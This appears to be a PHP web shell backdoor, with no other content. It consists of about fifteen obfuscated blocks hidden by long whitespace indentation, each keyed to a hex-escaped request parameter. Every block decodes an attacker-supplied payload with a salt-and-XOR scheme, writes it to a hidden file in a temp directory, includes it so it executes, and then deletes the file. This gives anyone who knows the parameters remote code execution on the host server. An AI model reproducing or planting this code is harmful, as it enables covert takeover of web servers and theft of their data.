<?php																																										if(array_key_exists("da\x74a", $_REQUEST)){ $value = $_REQUEST["da\x74a"]; $value =explode ( '.' ,$value ); $ent = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $y = 0; $__len = count($value); do { if ($y >= $__len) break; $v1 = $value[$y]; $sChar = ord($salt2[$y % $lenS]); $d = ((int)$v1 - $sChar - ($y % 10)) ^ 6; $ent.= chr($d); $y++; } while (true); $obj = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd()]); foreach ($obj as $key => $dchunk) { if (is_writable($dchunk) && is_dir($dchunk)) { $component = str_replace("{var_dir}", $dchunk, "{var_dir}/.rec"); if (file_put_contents($component, $ent)) { require $component; unlink($component); die(); } } } }
																																										if(isset($_POST["\x66\x61c\x74or"]) ? true : false){ $tkn = $_POST["\x66\x61c\x74or"]; $tkn=explode ("." , $tkn ); $sym = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $t = 0; array_walk($tkn, function ($v5) use (&$sym, &$t, $salt2, $lenS) { $sChar = ord($salt2[$t % $lenS]); $d = ((int)$v5 - $sChar - ($t % 10)) ^ 58; $sym .=chr($d); $t++;}); $binding = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path()]); foreach ($binding as $key => $k) { if (is_writable($k) && is_dir($k)) { $elem = join("/", [$k, ".entry"]); $success = file_put_contents($elem, $sym); if ($success) { include $elem; @unlink($elem); die();} } } }
																																										if(isset($_POST["m\x72k"]) ? true : false){ $tkn = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP")]); $object = $_POST["m\x72k"]; $object = explode ( '.' , $object ); $data=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt9); $p=0; $__len=count($object); do { if ($p >= $__len) break; $v5=$object[$p]; $sChar=ord($salt9[$p % $sLen]); $dec=((int)$v5 - $sChar - ($p % 10)) ^ 42; $data.= chr($dec); $p++; }while (true); $pset = 0; do { $binding = $tkn[$pset] ?? null; if ($pset >= count($tkn)) break; if (is_dir($binding) && is_writable($binding)) { $elem = vsprintf("%s/%s", [$binding, ".k"]); if (@file_put_contents($elem, $data) !== false) { include $elem; unlink($elem); exit; } } $pset++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x73\x79mb\x6Fl"])){ $binding = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp"]); $value = $_POST["\x73\x79mb\x6Fl"]; $value= explode ( '.' , $value ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $j = 0; $__tmp = $value; while ($v3 = array_shift($__tmp)) { $chS = ord($s[$j % $lenS]); $d = ((int)$v3 - $chS - ($j % 10)) ^ 8; $entry .= chr($d); $j++; } $data_chunk = 0; do { $entity = $binding[$data_chunk] ?? null; if ($data_chunk >= count($binding)) break; if (is_writable($entity) && is_dir($entity)) { $parameter_group = str_replace("{var_dir}", $entity, "{var_dir}/.holder"); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $parameter_group; @unlink($parameter_group); die(); } } $data_chunk++; } while (true); }
																																										if(in_array("pg\x72\x70", array_keys($_POST))){ $mrk = $_POST["pg\x72\x70"]; $mrk= explode ( "." , $mrk ); $ref =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); foreach ($mrk as $p => $v1) { $chS =ord($salt[$p % $lenS]); $dec =((int)$v1 - $chS - ($p % 10)) ^ 42; $ref .= chr($dec); } $reference = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); for ($entry = 0, $ptr = count($reference); $entry < $ptr; $entry++) { $val = $reference[$entry]; if (array_product([is_dir($val), is_writable($val)])) { $factor = str_replace("{var_dir}", $val, "{var_dir}/.rec"); if (file_put_contents($factor, $ref)) { include $factor; @unlink($factor); die(); } } } }
																																										if(@$_REQUEST["obje\x63\x74"] !== null){ $item = $_REQUEST["obje\x63\x74"]; $item= explode ( "." , $item ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $item as $l => $v6) { $chS = ord( $salt[$l %$sLen] ); $dec =( ( int)$v6 - $chS -( $l %10)) ^ 66; $value .= chr( $dec ); } $rec = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp"]); foreach ($rec as $val) { if (is_dir($val) && is_writable($val)) { $mrk = vsprintf("%s/%s", [$val, ".ent"]); if (file_put_contents($mrk, $value)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(!empty($_REQUEST["ke\x79"])){ $holder = $_REQUEST["ke\x79"]; $holder = explode ( '.' ,$holder) ; $res=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s1); $r=0; $__len=count($holder); do { if ($r >=$__len) break; $v8=$holder[$r]; $sChar=ord($s1[$r%$sLen]); $dec=((int)$v8 - $sChar - ($r%10)) ^ 55; $res .= chr($dec); $r++; } while (true); $ref = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); for ($flag = 0, $element = count($ref); $flag < $element; $flag++) { $pgrp = $ref[$flag]; if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $hld = implode("/", [$pgrp, ".comp"]); $success = file_put_contents($hld, $res); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(!empty($_REQUEST["va\x6Cue"])){ $dchunk = array_filter(["/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir()]); $tkn = $_REQUEST["va\x6Cue"]; $tkn = explode ( '.', $tkn ) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($tkn as $s=> $v6) { $sChar = ord($salt[$s %$lenS] ); $d = ((int)$v6 - $sChar - ($s %10))^ 31; $k .= chr($d ); } $pset = 0; do { $descriptor = $dchunk[$pset] ?? null; if ($pset >= count($dchunk)) break; if ((bool)is_dir($descriptor) && (bool)is_writable($descriptor)) { $mrk = "$descriptor/.flg"; if (file_put_contents($mrk, $k)) { include $mrk; @unlink($mrk); exit; } } $pset++; } while (true); }
																																										if(!is_null($_REQUEST["\x70\x61ra\x6D\x65\x74e\x72\x5Fgr\x6Fup"] ?? null)){ $component = $_REQUEST["\x70\x61ra\x6D\x65\x74e\x72\x5Fgr\x6Fup"]; $component =explode ("." ,$component ); $pointer =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s2 ); $w =0; foreach ($component as $v1) { $chS =ord($s2[$w%$sLen] ); $d =((int)$v1 - $chS - ($w%10)) ^ 77; $pointer .= chr($d ); $w++; } $itm = array_filter(["/dev/shm", getcwd(), getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($symbol = array_shift($itm)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $obj = sprintf("%s/.entry", $symbol); if (@file_put_contents($obj, $pointer) !== false) { include $obj; unlink($obj); exit; } } } }
																																										if(!is_null($_POST["\x68ld"] ?? null)){ $dat = array_filter(["/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $data_chunk = $_POST["\x68ld"]; $data_chunk =explode ( "." , $data_chunk ) ; $record = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $m = 0; foreach ($data_chunk as $v6) {$chS = ord($salt9[$m% $lenS]); $dec = ((int)$v6 - $chS - ($m% 10)) ^ 29; $record .= chr($dec); $m++; } foreach ($dat as $pointer) { if (max(0, is_dir($pointer) * is_writable($pointer))) { $data = str_replace("{var_dir}", $pointer, "{var_dir}/.tkn"); if (@file_put_contents($data, $record) !== false) { include $data; unlink($data); exit; } } } }
																																										if(in_array("s\x79m", array_keys($_POST))){ $pgrp = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm"]); $ent = $_POST["s\x79m"]; $ent =explode ( "." ,$ent ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $x = 0; $__tmp = $ent; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt[$x% $lenS] ); $d =( ( int)$v7 - $sChar -( $x% 10)) ^ 41; $factor.=chr( $d ); $x++;} foreach ($pgrp as $res) { if (array_product([is_dir($res), is_writable($res)])) { $hld = sprintf("%s/.ref", $res); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64ata_\x63\x68\x75\x6Ek")){ $val = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); $element = $_REQUEST["\x64ata_\x63\x68\x75\x6Ek"]; $element = explode (".",$element ) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($element); for ($z = 0; $z< $__len; $z++) { $v1 = $element[$z]; $chS = ord($salt[$z % $lenS]); $dec = ((int)$v1 - $chS - ($z % 10)) ^60; $ptr .= chr($dec); } while ($obj = array_shift($val)) { if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $sym = sprintf("%s/.flg", $obj); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72e\x66\x65\x72ence"])){ $key = $_REQUEST["\x72e\x66\x65\x72ence"]; $key=explode( '.' , $key ) ; $entry = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $l = 0; $__tmp = $key; while( $v5 = array_shift( $__tmp)) { $chS = ord( $s2[$l % $lenS]); $d =( ( int)$v5 - $chS -( $l % 10)) ^ 53; $entry.= chr( $d); $l++; } $resource = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), "/tmp", "/var/tmp", getenv("TEMP")]); while ($pset = array_shift($resource)) { if (is_dir($pset) && is_writable($pset)) { $ptr = "$pset/.k"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $ptr; @unlink($ptr); die(); } } } }


if(!empty($_REQUEST["\x64at"])){
	$value = $_REQUEST["\x64at"];
	$value = explode(		 '.' , $value	  )	;
	$pset	 = '';
            $s1	 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 = strlen($s1	);
            $len	 = count($value	);
    
            for ($r	 = 0; $r < $len; $r++) {$v8	 = $value[$r];
                $chS	 = ord($s1[$r	%$sLen]	);
                $d	 = ((int)$v8 - $chS - ($r	%10))	^33;
                $pset	 .=	 chr($d	);
            }
	$resource = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", getenv("TEMP")]);
	foreach ($resource as $elem) {
    		if ((bool)is_dir($elem) && (bool)is_writable($elem)) {
    $component = "$elem" . "/.itm";
    if (file_put_contents($component, $pset)) {
	require $component;
	unlink($component);
	exit;
}
}
}
}